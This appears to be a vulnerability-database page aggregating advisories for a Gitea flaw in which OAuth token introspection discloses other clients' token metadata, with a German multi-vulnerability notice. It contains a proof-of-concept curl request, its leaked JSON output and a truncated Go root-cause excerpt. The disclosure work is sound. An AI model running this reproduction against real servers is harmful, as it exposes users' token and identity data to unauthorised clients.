EUVD-2026-352796

fkie_cve-2026-58425

OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)

GHSA-vxv2-8j6r-pcpg — Gitea: OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)

Affected: Go: code.gitea.io/gitea

## Live reproduction against Gitea 1.26.1

Setup: Gitea 1.26.1 docker stack with two users (`admin` and `victim`) and two OAuth applications owned by different users:

``` Client A: id=5dda747d-7fdd-4694-85ff-ce4f893ce51e owner=admin Client B: id=588f778f-4a41-4914-ae01-85d776c369db owner=victim ```

`admin` runs an OAuth flow against Client A and obtains an access token. `victim` (acting through Client B's credentials) calls the introspection endpoint with Client A's access token in the body:

``` $ curl -s -u "$B_ID:$B_SEC" -X POST http://localhost:3001/login/oauth/introspect \ --data-urlencode "token=$CLIENT_A_ACCESS_TOKEN" { "active": true, "username": "admin", "iss": "http://localhost:3001", "sub": "1", "aud": [ "5dda747d-7fdd-4694-85ff-ce4f893ce51e" ] } ```

Note the `aud` claim: the server explicitly states the token's audience is Client A, yet returns the full metadata to Client B. Per RFC 7662 section 4 ("The authorization server SHOULD also limit the information it discloses about each token to the resources that are authorized to receive it") the introspection result must not be disclosed to clients other than the token's audience.

Full reproduction script attached as `poc.sh`. Full session log attached as `live_run.log`.

## Root cause

`routers/web/auth/oauth2_provider.go:130-175` `IntrospectOAuth`:

```go func IntrospectOAuth(ctx *context.Context) { clientIDValid := false authHeader := ctx.Req.Header.Get("Auth…

WID-SEC-W-2026-2304 — Gitea: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

Most recent entries from all

EUVD-2026-352796

fkie_cve-2026-58425

GHSA-vxv2-8j6r-pcpg — Gitea: OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)

WID-SEC-W-2026-2304 — Gitea: Mehrere Schwachstellen